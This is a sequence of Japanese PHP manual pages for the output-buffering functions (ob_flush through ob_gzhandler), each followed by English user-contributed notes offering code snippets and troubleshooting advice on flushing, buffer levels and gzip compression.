この関数は、(ある場合に)出力バッファの内容を送信します。 更にバッファの内容を処理したい場合には、ob_flush() がコールされた後にバッファの内容が破棄されるので、 ob_flush() の前に ob_get_contents() をコールする必要があります。

この関数は、ob_end_flush() のように出力バッファを破棄しません。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ob_get_contents() - 出力用バッファの内容を返す
  • ob_clean() - 出力バッファをクリア(消去)する
  • ob_end_flush() - 出力用バッファをフラッシュ(送信)し、出力のバッファリングをオフにする
  • ob_end_clean() - 出力用バッファをクリア(消去)し、出力のバッファリングをオフにする

User Contributed Notes

jake at qzdesign dot co dot uk 12-Oct-2018 11:24
If there is no active output buffer, an error of level E_NOTICE is generated (at least in PHP 7.1).  To avoid this, test first with `ob_get_level()`.
chris - latko - org 19-Aug-2015 10:53
Although browsers now have an all or none buffering strategy, the arguments are not moot.

If you are not using ob_flush, you run this risk of exceeding socket timeouts (commonly seen in php-fpm/nginx combos).

Basically, flushing solves the infamous 504 Gateway Time-out error.
cesoid at gmail dot com 08-Mar-2013 08:30
Currently I have Chrome on OS X Snow Leopard updating a page as it is sent more data, BUT it only does this after I send it <body> along with 1013 more characters (making 1019 total characters). After it receives this it immediately displays it and then displays anything else as it is received. (Note that this browser-operating system combination isn't necessarily the only one, it's just the only one I've tested.)

In order to do this using php, I've done nothing but send ob_flush() after each echo or print. I can also make it happen without ob_flush() by calling ob_implicit_flush(), then ob_end_flush() before print, and then it updates with each print after that. I have pretty typical settings and I change none of them when the file runs, it literally looks like this:

<?php
  ob_implicit_flush();
  ob_end_flush();
  ?><body>[1013 more characters]<?php
  for ($i = 1; $i < 30000000; ++$i) {}
  echo "something that didn't show up immediately";
?>

(Ok, the "[1013 more characters]" part wasn't strictly literal.)

If you want just text in the browser, you do this before everything else:

<?php
header("Content-type: text/plain");
...
?>

Then it won't care whether you sent a body tag, it will just wait for 1019 characters.
Lee 11-Aug-2012 11:23
As of August 2012, all browsers seem to show an all-or-nothing approach to buffering. In other words, while php is operating, no content can be shown.

In particular this means that the following workarounds listed further down here are ineffective:

1) ob_flush (),  flush () in any combination with other output buffering functions;

2) changes to php.ini involving setting output_buffer and/or zlib.output_compression to 0 or Off;

3) setting Apache variables such as "no-gzip" either through apache_setenv () or through entries in .htaccess.

So, until browsers begin to show buffered content again, the tips listed here are moot.
dermeister dot online at gmail dot com 05-Jul-2012 01:43
some problems with ob_flush() and flush() could be resolved by defining content type header :
header( 'Content-type: text/html; CHARSET=shift-jis' );

so working code looks like this:
<?php
header( 'Content-type: text/html; CHARSET=shift-jis' );
echo 'Begin ...<br />';
for( $i = 0 ; $i < 10 ; $i++ )
{
    echo $i . '<br />';
    flush();
    ob_flush();
    sleep(1);
}
echo 'End ...<br />';
?>
riimeik 17-Oct-2010 01:44
If you're still not getting the buffer work correctly then try to clean all the others before starting your own (and even if PHP tells you that there are no buffers active):

while(@ob_end_clean());
sebastian at jcompare dot com 26-Apr-2009 07:05
For some reason, calling just flush or ob_flush or even both together did not get my output buffers flushed, and calling ob_end_flush by itself didn't work either but calling them all worked well. Here is my new output flushing function.

<?php
function flush_buffers(){
    ob_end_flush();
    ob_flush();
    flush();
    ob_start();
}
?>

Enjoy
Jens 29-Oct-2008 07:01
If you call ob_flush() and flush() and still dont get the buffer flushed it might be because some antivirus software (Panda in this case) holds the buffer until the page has finished loaded before sending it to the browser.
colnector at@ colnect punto com 08-Jul-2008 04:35
As stated in flush() manual entry, if php compresses the ouput with zlib this function may be ineffective.

A possible option for folders on your server that have scripts which may take a long time to run is to add the following in your relevant .htaccess file:

<FilesMatch "\.(php|html?)$">
php_flag zlib.output_compression off
php_value max_execution_time 3000
php_value max_input_time 3000
</FilesMatch>
kel at no-spam dot newcastleinfotech dot com dot au 05-Jun-2008 09:33
Also note that any data in the buffer will flush at the end of the script, not destroyed, so it is often not necessary to call ob_flush(); for example:

<?php
ob_start();
echo 'Hello World!'
?>

Will still result in Hello World! being displayed to the browser.
21-Sep-2005 06:37
I was having problems with output buffering which seemed to be active by default on the server, although phpinfo said something else..

In any case I needed to know that when I ran ob_start, it would start at the top level, so I could use ob_flush as it's intended without having to call multiple ob_flush in-script - this is what I did:

<?php

// make sure output buffering is off before we start it
// this will ensure same effect whether or not ob is enabled already
while (ob_get_level()) {
    ob_end_flush();
}
// start output buffering
if (ob_get_length() === false) {
    ob_start();
}

?>

Then I could call ob_flush(); followed by flush(); and get the output I wanted, which I didn't if I started the script with just ob_start();

This was on a windows apache 2 server with php 5.0.4 btw.
24-Jun-2005 06:27
You must call them in the correct order.
ob_flush();
flush();
Reynard Hilman 22-Jun-2005 02:29
when using command line php, if somewhere in your script you have ob_start(), you have to call ob_end_flush() first, and then you can call these functions:
flush();
ob_flush();

without calling ob_end_flush first, flush and ob_flush does not have any effect, at least that's what I experienced.
jeremy at e2-media dot co dot nz 25-May-2005 04:09
we had problems with flushing data to the browser. a simple call to ob_flush() or flush() would not work. We found that repeatly calling theses fuctions did work however.

<?
flush();
ob_flush();
flush();
ob_flush();
flush();
ob_flush();
?>

go figure!


現在のバッファの内容を取得し、出力バッファを削除する

  • ≪ ob_flush
  • ob_get_contents ≫
  • PHP Manual
  • 出力制御 関数
  • 現在のバッファの内容を取得し、出力バッファを削除する

ob_get_clean

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

ob_get_clean — 現在のバッファの内容を取得し、出力バッファを削除する

説明

ob_get_clean ( ) : string|false

現在のバッファの中身を取得し、出力バッファを削除します。

ob_get_clean() は、基本的に
ob_get_contents() および
ob_end_clean() を同時に実行するのと同じです。

出力バッファを開始するときに、 ob_start() で PHP_OUTPUT_HANDLER_CLEANABLE および PHP_OUTPUT_HANDLER_REMOVABLE フラグを指定する必要があります。指定しなければ、ob_get_clean() は動作しません。

返り値

出力バッファの内容を返した後で出力のバッファリングを終了します。 出力バッファリングが開始されていない場合は false が返されます。

例

例1 単純な ob_get_clean() の例

<?php

ob_start();

echo "Hello World";

$out = ob_get_clean();
$out = strtolower($out);

var_dump($out);
?>

上の例の出力は以下となります。

string(11) "hello world"

参考

  • ob_get_contents() - 出力用バッファの内容を返す
  • ob_start() - 出力のバッファリングを有効にする

User Contributed Notes

Peter Smartt 30-Oct-2017 08:58
I was trying to debug my code using error_log() and I discovered that ob_get_clean() also truncates the error_log() buffer right in the middle of its output, and well as the output buffer which it is supposed to truncate.  If you are using error_log(), use ob_get_contents() and ob_end_clean() instead of ob_get_clean().
geo dot artemenko at gmail dot com 12-Mar-2014 10:04
The definition should mention that the function also "turns off output buffering", not just cleans it.
paul+phpnet at earth2me dot com 08-Oct-2013 12:08
Keep in mind that output may be buffered by default, depending on how you are running PHP (CGI, CLI, etc.).   You can use ob_get_level() to determine if an output buffer has already been started.  On most web servers I've used, output buffering is already one level deep before my scripts start running.

You should only end as many output buffers as you start.  Assuming that your buffer is always the first buffer, or otherwise closing pre-existing buffers, could lead to problems.  In PHP 5.5, you can ensure that output buffers are ended properly using a try-finally block.

Something like this is almost guaranteed to break stuff:

<?php
// Don't ever do this!
while (ob_get_level() > 1)
{
    ob_end_flush();
}

$content = ob_get_clean();
?>

The problem is that number, "1".  Using a fixed number there is asking for trouble.  Instead, use ob_get_level() to get the number of output buffers applied when your code starts, and return to that number, if you really must use an unknown number of output buffers:

<?php
ob_start();
$saved_ob_level = ob_get_level();

// Do stuff here:
run_something();

// If you really must close all of your output buffers except one, this'll do it:
while (ob_get_level() > $start_ob_level)
{
    ob_end_flush();
}

// And now, the final output buffer that belongs to us:
$content = ob_get_clean();
?>
sergei dot solomonov at gmail dot com 25-Aug-2012 04:20
<?php
ob_start();
echo "1";
$content = ob_get_clean();

echo "2";
$content .= ob_get_clean();

echo $content;
?>

This script outputs 21 in CLI mode and 12 otherwise (under my apache and nginx)
steven at bielik dot com 21-Feb-2011 11:57
Also, don't forget that you will need to ob_start() again for any successive calls:

<?php
ob_start();
echo "1";
$content = ob_get_clean();

ob_start(); // This is NECESSARY for the next ob_get_clean() to work as intended.
echo "2";
$content .= ob_get_clean();

echo $content;
?>

Output: 12

Without the second ob_start(), the output is 21 ...
ludvig dot ericson at gmail dot com 10-Aug-2005 07:10
Notice that the function beneath does not catch errors, so throw in an @ before those ob_* calls


出力用バッファの内容を返す

  • ≪ ob_get_clean
  • ob_get_flush ≫
  • PHP Manual
  • 出力制御 関数
  • 出力用バッファの内容を返す

ob_get_contents

(PHP 4, PHP 5, PHP 7, PHP 8)

ob_get_contents — 出力用バッファの内容を返す

説明

ob_get_contents ( ) : string|false

出力用バッファの内容を取得します。バッファの内容はクリアしません。

返り値

出力用バッファの内容を返します。 出力のバッファリングがアクティブでない場合には false を返します。

例

例1 単純な ob_get_contents() の例

<?php

ob_start();

echo "Hello ";

$out1 = ob_get_contents();

echo "World";

$out2 = ob_get_contents();

ob_end_clean();

var_dump($out1, $out2);
?>

上の例の出力は以下となります。

string(6) "Hello "
string(11) "Hello World"

参考

  • ob_start() - 出力のバッファリングを有効にする
  • ob_get_length() - 出力バッファの長さを返す

User Contributed Notes

Mark Clements 03-Oct-2014 08:38
Note that, unlike PHP variables which make efficient use of memory, getting the contents of the output buffer results in a new copy of the buffer being made.  This can end up massively increasing the memory requirements of your script if your output is large.

Example code:

<?php

print(memory_get_usage() . "<br>");

ob_start();

for ($i = 0; $i < 5000000; $i++)
    print(" ");

print(memory_get_usage() . "<br>");

$foo = ob_get_contents();

print(memory_get_usage() . "<br>");

ob_end_flush();

?>

Output:

  351664
 5359152
10359256
ipfound at gmail dot com 01-Oct-2014 07:13
The ob_get_contents() function has different return behaivor in PHP 5.3.x and PHP 5.5.x. Take a look at very simple example for PHP 5.3

<?php
var_dump(ob_get_contents());
?>
Output: bool(false)

but in PHP 5.5.x, the same php code will return:
Output: string (0) ""

Actually, we can use type regulation - intval(ob_get_contents()), for cheking On/Off output buffering, but it lays the possible problems in the future.
DrDreistein at dontknow dot at 04-Oct-2011 04:07
i made a simple test which is faster: adding some text in the normal way or by the ob stack:

<?php
$start = microtime(true);
$var = '';
for($i=0 ; $i <= 1000000 ; $i++) {
    $var .= ' ';
}
$middle = microtime(true);

ob_start();
for($i=0 ; $i <= 1000000 ; $i++) {
    echo ' ';
}
$var = ob_get_contents();
ob_end_clean();

$end = microtime(true);

echo $middle - $start;
echo '<br />';
echo $end - $middle;
?>

Outputs something like this:

0.33658003807068
0.30778789520264
mauroasprea+php at gmail dot com 30-Dec-2010 08:10
This is an example of how the stack works:

<?php
//Level 0
ob_start();
echo "Hello ";

//Level 1
ob_start();
echo "Hello World";
$out2 = ob_get_contents();
ob_end_clean();

//Back to level 0
echo "Galaxy";
$out1 = ob_get_contents();
ob_end_clean();

//Just output
var_dump($out1, $out2);
?>
m227 ( at ) poczta dot onet dot pl 24-Feb-2005 06:53
if you use ob_start with a callback function as a parameter, and that function changes ob string (as in example in manual) don't expect that ob_get_contents will return changed ob.
it will work as you would use ob_start with no parameter at all. So don't be confused.
http://www.francescosaf.altervista.org 08-Feb-2005 02:04
transfer image, another method (alternative to fsockopen or function socket) :

server(192.168.0.1)
makeimage.php
       ...........
       ...........
       $nameimage="xxxx.jpg"
       $comand=exec("plotvelocity.sh $nameimage $paramater1 $paramater2");
       ob_start();
        readfile($nameimage);
        $image_data = ob_get_contents();
        ob_end_clean();
        echo $image_data;
        unlink($nameimage);

Client  (192.168.0.2)
  $bild="images/newimage2.gif";
  $host="192.168.0.1";
  $url=file_get_contents("http://$host/makeimage.php?$querystring");
  $fp = fopen("$bild", 'wb');
  fwrite($fp, $url);
  fclose($fp);
  echo '<img src="'.$bild.'">';

naturally you can transfer whichever thing and not only images


出力バッファをフラッシュし、その内容を文字列として返した後で出力バッファリングを終了する

  • ≪ ob_get_contents
  • ob_get_length ≫
  • PHP Manual
  • 出力制御 関数
  • 出力バッファをフラッシュし、その内容を文字列として返した後で出力バッファリングを終了する

ob_get_flush

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

ob_get_flush — 出力バッファをフラッシュし、その内容を文字列として返した後で出力バッファリングを終了する

説明

ob_get_flush ( ) : string|false

ob_get_flush() は、 出力バッファをフラッシュしてその内容を文字列として返した後、 出力バッファリングを終了します。

出力バッファを開始するときに、 ob_start() で PHP_OUTPUT_HANDLER_FLUSHABLE フラグを指定する必要があります。指定しなければ、ob_get_flush() は動作しません。

注意: この関数は ob_end_flush() と似ていますが、 この関数はバッファの内容を文字列として返すこともします。

返り値

出力バッファを返します。バッファリングが開始されていない場合は false を返します。

例

例1 ob_get_flush() の例

<?php
// 出力バッファリングを On にします
print_r(ob_list_handlers());

// バッファをファイルに保存します
$buffer = ob_get_flush();
file_put_contents('buffer.txt', $buffer);

print_r(ob_list_handlers());
?>

上の例の出力は以下となります。

Array
(
    [0] => default output handler
)
Array
(
)

参考

  • ob_end_clean() - 出力用バッファをクリア(消去)し、出力のバッファリングをオフにする
  • ob_end_flush() - 出力用バッファをフラッシュ(送信)し、出力のバッファリングをオフにする
  • ob_list_handlers() - 使用中の出力ハンドラの一覧を取得する

User Contributed Notes

taras dot dot dot di at gmail dot com 14-Aug-2008 07:53
I don't know how exactly this works, but if you call this function, PHP would behave as if headers have been sent (even though the output has gone to a string).

This means that you can't call this function, and then call setcookie for example.

This was verified by trial and error
info at pcdoctor dot fr 08-Jun-2008 08:35
Hi,
this is just to add a behavior that I haven't understud at first place.

ob_get_flush actually returns the content of the buffer as a text but also it sends the buffer back to the browser so that it's displayed on user screen.

Use ob_get_clean if you do not want the buffer to be send to the user
zubin@byron 07-Sep-2005 07:28
Correction to previous post: ob_get_clean() is better, ie:

<?php
// start generating html
$html = '<html><head>'; // etc
// start output buffering
ob_start();
// call function which outputs immediately
print_menu();
// append this to $html and empty buffer
$html .= ob_get_clean();
?>
zubin@byron 31-Aug-2005 01:21
I found this function is useful for storing output instead of displaying it. For example, I wanted to use an old function which echoed the ouput but I wanted it in a variable, not outputted immediately. Here's how:

<?php
// start generating html
$html = '<html><head>'; // etc
// start output buffering
ob_start();
// call function which outputs immediately
print_menu();
// append this to $html
$html .= ob_get_flush();
// empty output buffer
ob_clean();
?>


出力バッファの長さを返す

  • ≪ ob_get_flush
  • ob_get_level ≫
  • PHP Manual
  • 出力制御 関数
  • 出力バッファの長さを返す

ob_get_length

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

ob_get_length — 出力バッファの長さを返す

説明

ob_get_length ( ) : int|false

この関数は、出力バッファの内容の長さをバイト単位で返します。

返り値

出力バッファの内容の長さをバイト単位で返します。 出力のバッファリングがアクティブでない場合には、false を返します。

例

例1 単純な ob_get_length() の例

<?php

ob_start();

echo "Hello ";

$len1 = ob_get_length();

echo "World";

$len2 = ob_get_length();

ob_end_clean();

echo $len1 . ", " . $len2;
?>

上の例の出力は以下となります。

6, 11

参考

  • ob_start() - 出力のバッファリングを有効にする
  • ob_get_contents() - 出力用バッファの内容を返す

User Contributed Notes

Nitrogen 14-Feb-2009 09:34
I use this function to produce a small speed test in my pages since I run my website from my home computers.

<?php
ob_start();
$StartTime=microtime(1);
?>
.. webpage data goes here ..

<?php
// footer?
printf("%s seconds to produce (%skb/sec)",
  microtime(1)-$StartTime,
  Round((ob_get_length()/(microtime(1)-$StartTime))/1024));

ob_end_flush();
?>

Note: don't forget the "speed" depends on how quick the content is actually generated and not on the speed the data is sent to the client..
However it would be good to see such function to get the real speed. :)

Nitrogen.
stangelanda at arrowquick dot com 03-Aug-2007 08:36
If you don't buffer your output, it doesn't seem like it would be possible for a web server to output a Content-Length header.  For static files it can check the filesize, but for dynamic files that send output a little by little there is no way to know how many bytes it is going to output.  And the headers have to be sent before a single byte is output.

Also if you're wondering why the Content-Length is important, the browser doesn't close the connection as long as the script is running.  So if you register time consuming shutdown functions, the browser will still 'spin' waiting for more content until they complete.  (I'm not sure this happens under all conditions, but I am certain the sending the Content-Length always prevents this.)

You might take note that this manual page does not currently output any Content-Length header.

Alternatively using mb_strlen($output, 'latin1') seems to work to determine bytes in a string.  strlen may or may not depending on if it has been set up as a multibyte or not.
Sinured 11-Jul-2007 03:25
> Dude, your web server will compute Content-length for you!

I've noticed that Apache 1.3 doesn't do that.
However, if you're running Apache 2.2 (and maybe 2.0, haven't experienced that yet) you don't need to worry about Content-Length.
rush at logic dot cz 02-Dec-2005 02:02
There is a work-around for the situation you need to get length of the gz-ed buffer.

ob_start();
ob_start('ob_gzhandler');

  ... output the page content...

ob_end_flush();  // The ob_gzhandler one

header('Content-Length: '.ob_get_length());

ob_end_flush();  // The main one

more info at http://www.edginet.org/techie/website/http.html
webmaster at crescentart dot com 29-Jun-2001 01:58
Here is an easy way to get the header Content-Lenght.
<?
ob_start();
?>

Put HTML tags.

<?
$size=ob_get_length();
header("Content-Length: $size");
ob_end_flush();
?>


出力バッファリング機構のネストレベルを返す

  • ≪ ob_get_length
  • ob_get_status ≫
  • PHP Manual
  • 出力制御 関数
  • 出力バッファリング機構のネストレベルを返す

ob_get_level

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ob_get_level — 出力バッファリング機構のネストレベルを返す

説明

ob_get_level ( ) : int

出力バッファリングハンドラのネストレベルを返します。

返り値

出力バッファリングハンドラのネストレベルを返します。 バッファリングがアクティブでない場合はゼロを返します。

参考

  • ob_start() - 出力のバッファリングを有効にする
  • ob_get_contents() - 出力用バッファの内容を返す

User Contributed Notes

Anonymous 21-May-2015 06:34
This can be used to handle exceptions properly when using output buffering for rendering a view which may or may not be using output buffering

<?php

function getView($view)
{
    $level = ob_get_level();

    ob_start();

    try
    {
        include $view;
    }

    catch (Exception $e)
    {
        while (ob_get_level() > $level)
        {
            ob_end_clean();
        }

        throw $e;
    }

    return ob_get_clean();
}
Anonymous 11-Jun-2012 11:04
For users confused about getting "1" as a return value from ob_get_level at the beginning of a script: this likely means the PHP ini directive "output_buffering" is not set to off / 0. PHP automatically starts output buffering for all your scripts if this directive is not off (which acts as if you called ob_start on the first line of your script).

If your scripts may end up on any server and you don't want end-users to have to configure their INI, you can use the following at the start of your script to stop output buffering if it's already started:
<?php
if (ob_get_level()) ob_end_clean();
?>

Alternatively, you can use the opposite if you always want to have an output buffer at the start of your script:
<?php
if (!ob_get_level()) ob_start();
?>
mark dot richards at massmicro dot com 17-Mar-2012 02:24
It was noted that ob_get_level() reports 1 prior to starting buffering, and in php 5.3.6-13 I can confirm this:

    <?php
      echo ob_get_level(); // --> 1
    ?>

It seems an internal counter for the output buffering needs to be initialized.  To start things off properly, this appears to do:

    <?php
      ob_end_clean();
      echo ob_get_level(); // --> 0
    ?>
18-May-2005 08:45
Sometimes, ob_get_level() may be off by 1 because at the start of the script, it will return 1 even if ob_start() has never been called (and clearing the output buffer via ob_end_clean() and the like can be done without error).  As a result, the first ob_start() will have an ob_get_level() of 2, the second will be 3, and so on.

I'm not sure if this is a PHP 5 thing or [if it's related to when a] server is set to gzip all html documents.

Also, up until at least PHP 5.0.4 (current version), ob_get_level() will always return 0 inside a destructor.  This happens because the garbage collection for output buffers has already done before the destructor is called.  If you want to do something with the output buffer from within an object before the script exits, using a callback function with ob_start() is the way to go.
bonzini at gnu dot org 07-Jul-2004 09:03
Even under older PHP, you can decide if output buffering is active (i.e. ob_get_level() > 0) using

   <?php $ob_active = ob_get_length () !== FALSE ?>

Paolo


出力バッファのステータスを取得する

  • ≪ ob_get_level
  • ob_gzhandler ≫
  • PHP Manual
  • 出力制御 関数
  • 出力バッファのステータスを取得する

ob_get_status

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ob_get_status — 出力バッファのステータスを取得する

説明

ob_get_status ( bool $full_status = false ) : array

ob_get_status() は、トップレベルの出力バッファの ステータス情報を返します。full_status が true に設定されている場合は、すべてのアクティブな出力バッファの ステータス情報を返します。

パラメータ

full_status

true を指定すると、すべてのアクティブな出力バッファを返します。 false を指定した場合、あるいは省略した場合は、 トップレベルの出力バッファのみを返します。

返り値

パラメータ full_status を指定していなかったり full_status = false としていた場合は、 以下の要素を保持する配列が返されます。

Array
(
    [level] => 2
    [type] => 0
    [status] => 0
    [name] => URL-Rewriter
    [del] => 1
)
単純な ob_get_status() の出力結果
キー | 値
level | 出力階層レベル
type | PHP_OUTPUT_HANDLER_INTERNAL (0) あるいは PHP_OUTPUT_HANDLER_USER (1)
status | PHP_OUTPUT_HANDLER_START (0)、PHP_OUTPUT_HANDLER_CONT (1) あるいは PHP_OUTPUT_HANDLER_END (2) のいずれか
name | アクティブな出力ハンドラの名前、あるいは設定されていない場合は ' default output handler'
del | ob_start() が設定した削除フラグ

full_status = true を指定してコールした場合、 出力バッファごとにひとつの要素を保持する配列が返されます。 出力レベルが配列のキーとして使用され、対応する値として 各出力レベルのステータス情報を配列として保持します。

Array
(
    [0] => Array
        (
            [chunk_size] => 0
            [size] => 40960
            [block_size] => 10240
            [type] => 1
            [status] => 0
            [name] => default output handler
            [del] => 1
        )

    [1] => Array
        (
            [chunk_size] => 0
            [size] => 40960
            [block_size] => 10240
            [type] => 0
            [buffer_size] => 0
            [status] => 0
            [name] => URL-Rewriter
            [del] => 1
        )

)

完全な出力には、追加項目として以下の要素が含まれます。

完全な ob_get_status() の出力結果
キー | 値
chunk_size | ob_start() で設定したチャンクの大きさ
size | ...
blocksize | ...

参考

  • ob_get_level() - 出力バッファリング機構のネストレベルを返す
  • ob_list_handlers() - 使用中の出力ハンドラの一覧を取得する

User Contributed Notes

rmagalhaess at hotmail dot com 12-Sep-2017 07:32
The fields inside the array returned by ob_get_status() are:

Array
(
    [name] => default output handler
    [type] => 0
    [flags] => 112
    [level] => 1
    [chunk_size] => 0
    [buffer_size] => 16384
    [buffer_used] => 0
)

These values are filled just after the function ob_start()


出力バッファを gzip 圧縮するための ob_start コールバック関数

  • ≪ ob_get_status
  • ob_implicit_flush ≫
  • PHP Manual
  • 出力制御 関数
  • 出力バッファを gzip 圧縮するための ob_start コールバック関数

ob_gzhandler

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ob_gzhandler — 出力バッファを gzip 圧縮するための ob_start コールバック関数

説明

ob_gzhandler ( string $buffer , int $mode ) : string

ob_gzhandler() は ob_start() 用のコールバック関数として使用されることを意図したもので、 圧縮されたページをサポートしている web ブラウザに対して gz エンコードされたデータを送信することを容易にします。 ob_gzhandler() は 実際に圧縮されたデータを送信する前にブラウザがサポートする content encoding の種類("gzip"、"deflate" またはなし)を調べ、それに基づいて 出力を返します。すべてのブラウザがサポートされています。 というのも、ブラウザは、 自分が圧縮されたページをサポートするかどうかを表す 適切なヘッダを送信することになっているからです。 圧縮されたページをブラウザがサポートしていない場合、 この関数は false を返します。

パラメータ

buffer

mode

返り値

例

例1 ob_gzhandler() の例

<?php

ob_start("ob_gzhandler");

?>
<html>
<body>
<p>このページは圧縮されます。</p>
</body>
</html>

注意

注意:

ob_gzhandler() は、zlib 拡張モジュールを必要とします。

注意:

ob_gzhandler() と zlib.output_compression の両方を使用することはできません。 また、 zlib.output_compression を使用すると、それは ob_gzhandler() よりも優先されることに注意してください。

参考

  • ob_start() - 出力のバッファリングを有効にする
  • ob_end_flush() - 出力用バッファをフラッシュ(送信)し、出力のバッファリングをオフにする

User Contributed Notes

Jer 16-Apr-2010 04:17
I've just spent 5 hours fighting a bug in my application and outcome is:

<?php
// do not use
ob_start("ob_gzhandler");
// along with
header('HTTP/1.1 304 Not Modified');

// or in the end use
ob_end_clean();
?>

W3C Standart requires response body to be empty if 304 header set. With compression on it will at least contain a gzip stream header even if your output is completely empty!

This affects firefox (current ver.3.6.3) in a very subtle way: one of the requests after the one that gets 304 with not empty body gets it response prepended with contents of that body. In my case it was a css file and styles was not rendered at all, which made problem show up.
przemekryciuk at gmail dot com 23-Jun-2009 02:34
The simplest way for gzip compression is:
<?php
if(!ob_start("ob_gzhandler")) ob_start();
?>
ob_start("ob_gzhandler") returns FALSE if browser doesn't support gzip, so then is called normal ob_start();
walter 11-Dec-2008 07:48
I have a very well tested module in my framework (ie: running in production environments for a couple of years) called 'fastpage', which takes care of both memcaching and gzipping for frequently requested content.  It memcaches one version of each unique page both gzipped and non-gzipped, and returns the appropriate version based upon the browser's Accept-encoding header.

Use is:
$page_spec = array($dependent,$variables,$go,$here);
if(!fastpage_display('content_id',$page_spec)) {
 ... make page here ...
 fastpage_displayed('content_id',$page_spec);
}

Unfortunately, on IE8 beta (in IE8 mode, or in IE7 emulation mode), the fastpage-enabled content was not being un-gzipped.  IE would request the content, a 200 status and correct byte count would appear in the server logfile, and IE would show no errors.  However, CSS would not be applied and Javascript would not execute.

The only fix I can find right now is to disable gzip entirely for this browser.  User agent string is: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727

The same output works fine in firefox (windows, linux, mac), and in safari.

Versions are: zlib 1.2.3-r1 / php 5.2.6-r7 / lighttpd 1.4.20

So much for the 'this has been fixed in IE7' comment, above...
ronald at hidden dot com 26-Aug-2008 01:15
Hi,

if you are using apache, I think you are much better of using apache's compression, as this will also compress static text files (css, js, html, etc) and it will keep your php-code clean.

See http://httpd.apache.org/docs/2.0/mod/mod_deflate.html for an excellent how to.

And for other webservers, I'm pretty sure they have equivalents.

Cheers, Ronald
maratd at gmail dot com 29-Aug-2007 08:51
Someone previously mentioned that MSIE doesn't cache gzipped content. This is false. He misread the source of information. In fact, IE will cache gzipped content no matter what. Here is the quote from the mailing list:

The reason the COMPRESSED responses are, in fact,
always getting cached no matter what "Vary:" field name
is present is just as I suspected... it is because MSIE
decides it MUST cache responses that arrive with
"Content-Encoding: gzip" because it MUST have a
disk ( cache ) file to work with in order to do the
decompression.

Source: http://lists.over.net/pipermail/mod_gzip/2002-December/006826.html
tehjosh at gamingg dot net 01-Aug-2007 04:18
faisun at sina dot com:
If you read up on output buffering, you'll see that if an output buffer callback returns false, this instructs PHP to output the original string untouched.  That's why ob_gzhandler() returns false if the encoding is not supported.   When ob_start("ob_gzhandler") is used and encoding is not supported, ob_gzhandler() will return false and PHP outputs the original, uncompressed string.

jsnell at e-normous dot com:
Output buffering callback functions accept up to two parameters, so this would probably work better for your situation:

<?php
function ob_gz_handler_no_errors($buffer, $mode)
{
    @ob_gzhandler($buffer, $mode);
}

ob_start('ob_gzhandler_no_errors');
?>

However, if you're trying to suppress errors caused by headers already being sent, it would be better to start the output buffering earlier, before any output can be sent.
jsnell at e-normous dot com 31-May-2007 11:04
If you want to suppress errors (such as for cases when headers are already sent) and you don't want to write or patch your error_handler, you need to create an intermediate callback:

function ob_gz_handler_no_errors($buffer)
{
    @ob_gzhandler($buffer);
}

ob_start('ob_gzhandler_no_errors');
nicolas dot grekas+php at gmail dot com 28-Jan-2007 10:45
Here are some precisions :

- the "mode" arg accepts a bit field composed of PHP_OUTPUT_HANDLER_START, PHP_OUTPUT_HANDLER_CONT and PHP_OUTPUT_HANDLER_END. See http://www.php.net/manual/fr/ref.zlib.php#56216 for an example. The value that jazfresh recommends below (5) is the good one, because 5 == PHP_OUTPUT_HANDLER_START | PHP_OUTPUT_HANDLER_END.

- when called INSIDE an output buffering handler, ob_gzhandler DOES NOT return false when the browser doesn't support compressed pages. It rather returns the original string.
spam_this at zleelz dot com 26-Aug-2006 11:49
When writing scripts for distribution, I would usually "null" out the following deprecated superglobals so that users who uses the script will not be able to use them.
<?php
$HTTP_GET_VARS = null;
$HTTP_POST_VARS = null;
$HTTP_COOKIE_VARS = null;
$HTTP_POST_FILES = null;
$HTTP_SERVER_VARS = null;
?>

However, when using ob_start('ob_gzhandler'), one of those superglobals somehow disable this function.

Found out that it was $HTTP_SERVER_VARS that's causing the problems.

<?php
ob_start('ob_gzhandler');

$HTTP_GET_VARS = null;
$HTTP_POST_VARS = null;
$HTTP_COOKIE_VARS = null;
$HTTP_POST_FILES = null;
/**
 * Causing the trouble
 */
//$HTTP_SERVER_VARS = null;
?>

I don't know why it does that, but I just want to point that out.
richard at mf2fm dot com 11-Jul-2006 02:50
According to the manual, if ob_gzhander detects that the browser is unable to support deflate or gzip it returns FALSE.  Does this mean that if you use ob_start("ob_gzhandler"), any browsers that do not support gzip/deflate will receive a blank page?

I've been having problems with IE6 displaying gzipped pages and adding a test:

<?php

if (substr_count($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')) ob_start("ob_gzhandler");

else ob_start();

?>

solved the problem.  Surely if ob_gzhandler detects a lack of support for deflation it should return the input unchanged and not FALSE?
mariusads[at]helpedia[dot]com 04-Feb-2006 09:56
Please be aware that, as other users have already mentioned, the compression will fail if there are characters before the php start tag "< ?".

This is also the case when saving files in UTF-8 format with editors such as Ultraedit. Make sure you save the file using the defined option UTF-8 NO BOM or delete the BOM otherwise the two UTF BOM characters will be written at the start of the file.
lapoint2 at msu dot edu 06-Sep-2005 06:40
So why doesn't the web server just do this by default?
This works for me if I do:
ini_set('zlib.output_compression_level', 3);  ob_start("ob_gzhandler");
or even just:
ob_start("ob_gzhandler");

I did the level 3 compression, I think the default was 6 and I didn't want to put too much load on the server.  For a 895k file (my largest) the compression levels were:
1 = 189k
3 = 178k
4 = 163k
6 = 156k    (I believe 6 is the default if you leave out the ini_set)
9 = 155k
I use http://www.whatsmyip.org/mod_gzip_test/ to check the sizes.

FYI: This works with dynamic files in Movable Type 3.x (I'm testing it in 3.2) I've got the above command in the first line of my mtview.php file.

More info here: http://www.whatsmyip.org/forum/viewtopic.php?t=43

On several sites I've read the some browsers don't like compressed CSS.
Tony Piper 14-Jun-2005 07:11
I just spent 30 minutes wondering why my browser wasn't getting the gzipped version :-O

If you're using Google Web Access your pages will  be delivered to the browser uncompressed unless you tell GWA to ignore the specific site.

Obvious, really.
24-May-2005 03:27
